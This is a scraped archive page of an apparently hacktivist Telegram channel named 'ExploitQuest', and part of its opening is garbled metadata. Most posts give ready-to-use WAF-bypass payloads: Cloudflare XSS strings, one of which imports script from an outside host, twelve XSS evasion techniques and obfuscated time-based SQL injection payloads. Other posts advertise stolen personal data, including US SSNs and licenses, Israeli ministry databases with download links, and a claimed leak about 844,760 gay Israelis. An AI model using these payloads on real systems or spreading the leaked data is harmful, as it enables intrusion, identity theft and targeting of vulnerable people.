ExploitQuest
Открыть в Telegram
6 808
Подписчики
Нет данных24 часа
+97 дней
+12430 дней
Архив постов
\n\nIt can be encoded:\n\n%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E\n\nHTML Entity Encoding:\nSpecial characters can be converted to HTML encoding:\n\n<script>alert('XSS')</script>\n\n2.Using Comments\n\nSome WAFs may ignore input if the code is split via comments.\n\nExamples:\n\nXSS using comments to split code:\n\nipt>alert('XSS') ipt>\n\n3. Case Variation\n\nWAF can be case sensitive. You can change the case to make the code undetectable.\n\nExamples:\n\n\n\n4.Use Alternative Event Handlers\n\nEvents in HTML that may not be strictly checked by WAF, such as onfocus or onmouseover, can be exploited.\n\nExample:\n\n
\n\nMay be replaced by:\n\n\n\n5.Bypass WAF using Adding Padding Characters\n\nYou can add spaces or insignificant characters inside the malicious code to make it undetectable.\n\nExamples:\n\nalert('XSS') \n\n6.Use eval(), setTimeout(), or setInterval()\n\nSome WAFs scan for obvious code like alert() or document.write(). By using functions like eval() or setTimeout(), you can make malicious code less obvious.\n\nExample:\n\n\n\n7.JavaScript Coding Using String.fromCharCode\n\nYou can use the String.fromCharCode function to generate JavaScript code dynamically.\n\nExample:\n\n\n\nThis will print \"XSS\".\n\n8.Using DOM-based XSS techniques\n\nIn some cases, WAF can be bypassed using techniques that rely on XSS in the DOM only, where the code is injected directly into the browser without having to send the request to the server.\n\nExample:\n\nvar input = document.createElement('input');\ninput.setAttribute('onfocus', 'alert(\"XSS\")');\ndocument.body.appendChild(input);\ninput.focus();\n\n\n9.Hiding code inside unexpected media\n\nYou can embed XSS code inside non-traditional HTML elements, such as SVG files or titles.\n\nExample:\n\n\n\n10.Use complex conditional statements or mathematical functions\n\nYou can use conditional statements or mathematical operations to make malicious code less obvious to a WAF.\n\nExample:\n\n\n\n11.Using JavaScript: In URL\n\nYou can try to insert JavaScript code inside a URL using the javascript: protocol.\n\nExample:\n\nClick me\n\n12. Exploiting weak or non-comprehensive filters\n\nSome WAFs may not scan all input types or fields. You can try to inject malicious code in unexpected places such as hidden fields or metadata.\n\nExample:\n\nInjecting malicious code into an unexpected field:\n\nalert('XSS')\">\n\n\nConclusion:\nBypassing WAF in XSS attacks requires experimenting with different techniques and using innovative ways to make the malicious code undetectable. Protection from these attacks depends on constantly updating WAF mechanisms and following good security practices such as input filtering and output encoding.\n\n\n#xss #waf","datePublished":"2024-09-13T00:25:15Z","dateModified":"2024-09-13T00:25:15Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":785},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":23}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","headline":"Bypass waf firewall To increase the likelihood of a successful injection test using these random payloads, yo…","articleBody":"Bypass waf firewall\n\nTo increase the likelihood of a successful injection test using these random payloads, you can follow some approaches and techniques that vary the payloads based on how the database servers interpret the queries.\n\n\nUsing Substitutions in Keywords\n\nYou can substitute words like or, xor, and || to disable security filters.\nExample:\n\nor sleep(4) ➔ oR sLeEP(4) or xor sleep(4)\n\n. Entering camouflaged spaces and comments\n\nSome filters may ignore comments or spaces. You can add comments like /**/ or use different types of spaces.\nExample:\n\nor sleep(4) ➔ or//sleep(4) or or sLeEp(//4)\n\nusing mathematical expressions\n\nSometimes it can be useful to use mathematical expressions to avoid filters that look for explicit numbers.\nExample:\n\n4 ➔ 6-2 or true+true\n\nChanging the simple formula\n\nThe formula for simple payloads can also be changed.\nExample:\n\nsleep(4) ➔ sleep((4)) or benchmark(4)\n\nMixing multiple payloads in a single request\n\nYou can combine two or more payloads to increase complexity.\nExample:\n\n%27 or sleep(4) -- ➔ %27 oR sLeEP(4) || true+true --\n4|0 or benchmark(4) ➔ (4|0) oR beNCHMark(/**/4)\n\n\nEntering different parentheses\n\nSome databases handle parentheses differently. You can use alternate parentheses to bypass filters.\nExample: \n\nor (sleep(4)) ➔ or %28sleep%2\n84%29\n\nUsing Uncommon Phrases\n\nUsing uncommon or advanced phrases like benchmark instead of sleep may help avoid detection.\nExample:\n\nor sleep(4) ➔ or bench\nmark(4)\n\nLogical Construct Tests\n\nYou can also test loads with logical constructs.\nExample: \n\n\nor sleep(4) ➔ or (sleep(4) && true=true)\n\n\nComplete\nexample:\n\n' oR sLeEP(/**/4) || true+true -- \n\n\nHere are some more random payloads to use in your SQL injection test:\n\n'%27 OR sleep(4) --\n%28%29 XOR sLeEp(4) --\n(4|0) oR beNCHMark(/**/4) --\n' OR 6-2=4 || sleep(4) --\n') OR true+true=sleep(4) --\n%27 oR sLeEp(4) = (true) --\n' xor sLeEP((4)) --\n%27 = (1=(sleep(4))) --\n%28%29 OR beNcHmArk(4) --\n' XOR sleep(/**/4) \n|| -true*4 --\n\n\nCombine some of these payloads:\n\nYou can mix payloads together to make the attack \nmore complex:\n\n\n'%27 OR sleep(4) || (true=true) -- ')\n\nThese payloads randomly diversify attacks that may pass through some filters or protection methods.\n\n#waf #sql","datePublished":"2024-09-11T00:46:57Z","dateModified":"2024-09-11T00:46:57Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":669},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":15}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","headline":"ExploitQuest","datePublished":"2023-11-19T19:29:50Z","dateModified":"2023-11-19T19:29:50Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":336},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":9}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","headline":"150k USA PERSONAL INFO SSN, DOB, drivers_license 150 ألف معلومات شخصية أمريكية SSN، DOB، رخصة القيادة","articleBody":"150k USA PERSONAL INFO SSN, DOB, drivers_license\n\n\n150 ألف معلومات شخصية أمريكية SSN، DOB، رخصة القيادة","datePublished":"2023-11-19T19:28:40Z","dateModified":"2023-11-19T19:28:40Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":326},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","headline":"ExploitQuest","datePublished":"2023-10-20T00:21:38Z","dateModified":"2023-10-20T00:21:38Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":887},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":8},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","headline":"ExploitQuest","datePublished":"2023-10-20T00:12:31Z","dateModified":"2023-10-20T00:12:31Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":831},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","headline":"قاعدة بيانات وزارة الدفاع الإسرائيلية [ mod.gov.il ]","articleBody":"قاعدة بيانات وزارة الدفاع الإسرائيلية [ mod.gov.il ]","datePublished":"2023-10-20T00:10:24Z","dateModified":"2023-10-20T00:10:24Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":10006},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":87}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","headline":"اختراق وزارة البناء والإسكان الإسرائيلية وتسريب جميع قواعد البيانات الخاصة با الوزارة تحميل مباشر http://www.…","articleBody":"اختراق وزارة البناء والإسكان الإسرائيلية وتسريب جميع قواعد البيانات الخاصة با الوزارة \nتحميل مباشر \nhttp://www.mediafire.com/?1rzvahce2v6v3sg","datePublished":"2023-10-17T01:59:21Z","dateModified":"2023-10-17T01:59:21Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1194},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":21}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","headline":"اختراق معلومات بيانات 420 الف إسرائيلي تشمل أرقام الهواتف الأسماء الايميلات المعرف تحميل مباشر https://www.me…","articleBody":"اختراق معلومات بيانات 420 الف إسرائيلي \nتشمل\n\nأرقام الهواتف \nالأسماء\nالايميلات\nالمعرف\n\n\nتحميل مباشر \nhttps://www.mediafire.com/file/5300egrsz...d.csv/file","datePublished":"2023-10-17T01:41:08Z","dateModified":"2023-10-17T01:41:08Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1122},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":27}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","headline":"Password : https://t.me/egypt_hacker54","articleBody":"Password : https://t.me/egypt_hacker54","datePublished":"2023-10-17T00:57:47Z","dateModified":"2023-10-17T00:57:47Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":3768},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":53}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","headline":"المثليو* جنسيا في إسرائي 844,760 تسريب بيانات المثليو*** في اسرائيل جاري التحميل..","articleBody":"المثليو* جنسيا في إسرائي 844,760 \n\nتسريب بيانات المثليو*** في اسرائيل جاري التحميل..","datePublished":"2023-10-16T22:18:35Z","dateModified":"2023-10-16T22:18:35Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":3722},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":29}]}}]}








6 808
cloudflare bypass payloads
Payload:
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
Payload:
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
Payload:
"*prompt(document.domain)*"payload:
<img/src=x onError="`${x}`;alert(`Hello`);">
payload:
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt`1`>payload:
<img/src/onerror=setTimeout(atob(/YWxlcnQoMTMzNyk/.source))>payload:
"%3cSvg%20Only%3d1%20OnLoad%3dconfirm(1)%3e"payload:
<select><style></select><svg onload=alert(1)></style>
payload:
"><img src=x onerrora=confirm() onerror=confirm(1)>payload:
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
Payload:
"><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus>
Payload:
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3Epayload:
<img/src=x onError="`${x}`;alert(`Hello`);">
Payload:
"><track/onerror='confirm\%601\%60'>
Payload:
"><track/onerror='confirm`1`'>Payload:
<inpuT autofocus oNFocus="setTimeout(function() { /*\*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;Payload:
<inpuT autofocus oNFocus="setTimeout(function() { /*\`*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\`*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;#xss #waf #cloudflare #bypass
6 808
Bypassing WAF (Web Application Firewall) in XSS (Cross-Site Scripting) attacks relies on exploiting various techniques and methods to bypass the protection put in place by the firewall. WAF is designed to intelligently inspect inputs and requests to detect potential attacks such as XSS, but there are several ways to bypass these mechanisms. Here are some techniques that may help in bypassing WAF in XSS attacks:
1.Encoding
Input encoding can be used to confuse WAF and prevent malicious payload detection.
Examples:
URL Encoding:
<script>alert('XSS')</script>
It can be encoded:
%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3EHTML Entity Encoding: Special characters can be converted to HTML encoding:
<script>alert('XSS')</script>2.Using Comments Some WAFs may ignore input if the code is split via comments. Examples: XSS using comments to split code:
<scr<!--comment-->ipt>alert('XSS')</scr<!--comment-->ipt>
3. Case Variation
WAF can be case sensitive. You can change the case to make the code undetectable.
Examples:
<ScRipT>alert('XSS')</sCrIpT>
4.Use Alternative Event Handlers
Events in HTML that may not be strictly checked by WAF, such as onfocus or onmouseover, can be exploited.
Example:
<img src="x" onerror="alert('XSS')">
May be replaced by:
<input onfocus="alert('XSS')">
5.Bypass WAF using Adding Padding Characters
You can add spaces or insignificant characters inside the malicious code to make it undetectable.
Examples:
<scr ipt>alert('XSS')</scr ipt>
6.Use eval(), setTimeout(), or setInterval()
Some WAFs scan for obvious code like alert() or document.write(). By using functions like eval() or setTimeout(), you can make malicious code less obvious.
Example:
<script>setTimeout(function(){alert('XSS')}, 100);</script>
7.JavaScript Coding Using String.fromCharCode
You can use the String.fromCharCode function to generate JavaScript code dynamically.
Example:
<script>alert(String.fromCharCode(88,83,83));</script>
This will print "XSS".
8.Using DOM-based XSS techniques
In some cases, WAF can be bypassed using techniques that rely on XSS in the DOM only, where the code is injected directly into the browser without having to send the request to the server.
Example:
var input = document.createElement('input');
input.setAttribute('onfocus', 'alert("XSS")');
document.body.appendChild(input);
input.focus();
9.Hiding code inside unexpected media
You can embed XSS code inside non-traditional HTML elements, such as SVG files or titles.
Example:
<svg onload="alert('XSS')"></svg>
10.Use complex conditional statements or mathematical functions
You can use conditional statements or mathematical operations to make malicious code less obvious to a WAF.
Example:
<script>if(1<2){alert('XSS')}</script>
11.Using JavaScript: In URL
You can try to insert JavaScript code inside a URL using the javascript: protocol.
Example:
<a href="javascript:alert('XSS')">Click me</a>
12. Exploiting weak or non-comprehensive filters
Some WAFs may not scan all input types or fields. You can try to inject malicious code in unexpected places such as hidden fields or metadata.
Example:
Injecting malicious code into an unexpected field:
<input type="hidden" value="<script>alert('XSS')</script>">
Conclusion:
Bypassing WAF in XSS attacks requires experimenting with different techniques and using innovative ways to make the malicious code undetectable. Protection from these attacks depends on constantly updating WAF mechanisms and following good security practices such as input filtering and output encoding.
#xss #waf6 808
Bypass waf firewall
To increase the likelihood of a successful injection test using these random payloads, you can follow some approaches and techniques that vary the payloads based on how the database servers interpret the queries.
Using Substitutions in Keywords
You can substitute words like or, xor, and || to disable security filters.
Example:
or sleep(4) ➔ oR sLeEP(4) or xor sleep(4). Entering camouflaged spaces and comments Some filters may ignore comments or spaces. You can add comments like /**/ or use different types of spaces. Example:
or sleep(4) ➔ or//sleep(4) or or sLeEp(//4)using mathematical expressions Sometimes it can be useful to use mathematical expressions to avoid filters that look for explicit numbers. Example:
4 ➔ 6-2 or true+trueChanging the simple formula The formula for simple payloads can also be changed. Example:
sleep(4) ➔ sleep((4)) or benchmark(4)Mixing multiple payloads in a single request You can combine two or more payloads to increase complexity. Example:
%27 or sleep(4) -- ➔ %27 oR sLeEP(4) || true+true -- 4|0 or benchmark(4) ➔ (4|0) oR beNCHMark(/**/4)Entering different parentheses Some databases handle parentheses differently. You can use alternate parentheses to bypass filters. Example:
or (sleep(4)) ➔ or %28sleep%2 84%29Using Uncommon Phrases Using uncommon or advanced phrases like benchmark instead of sleep may help avoid detection. Example:
or sleep(4) ➔ or bench mark(4)Logical Construct Tests You can also test loads with logical constructs. Example:
or sleep(4) ➔ or (sleep(4) && true=true)Complete example:
' oR sLeEP(/**/4) || true+true --Here are some more random payloads to use in your SQL injection test:
'%27 OR sleep(4) -- %28%29 XOR sLeEp(4) -- (4|0) oR beNCHMark(/**/4) -- ' OR 6-2=4 || sleep(4) -- ') OR true+true=sleep(4) -- %27 oR sLeEp(4) = (true) -- ' xor sLeEP((4)) -- %27 = (1=(sleep(4))) -- %28%29 OR beNcHmArk(4) -- ' XOR sleep(/**/4) || -true*4 -- Combine some of these payloads: You can mix payloads together to make the attack more complex:
'%27 OR sleep(4) || (true=true) -- ')These payloads randomly diversify attacks that may pass through some filters or protection methods. #waf #sql
6 808
150k USA PERSONAL INFO SSN, DOB, drivers_license
150 ألف معلومات شخصية أمريكية SSN، DOB، رخصة القيادة
6 808
اختراق وزارة البناء والإسكان الإسرائيلية وتسريب جميع قواعد البيانات الخاصة با الوزارة
تحميل مباشر
http://www.mediafire.com/?1rzvahce2v6v3sg
6 808
اختراق معلومات بيانات 420 الف إسرائيلي
تشمل
أرقام الهواتف
الأسماء
الايميلات
المعرف
تحميل مباشر
https://www.mediafire.com/file/5300egrsz...d.csv/file
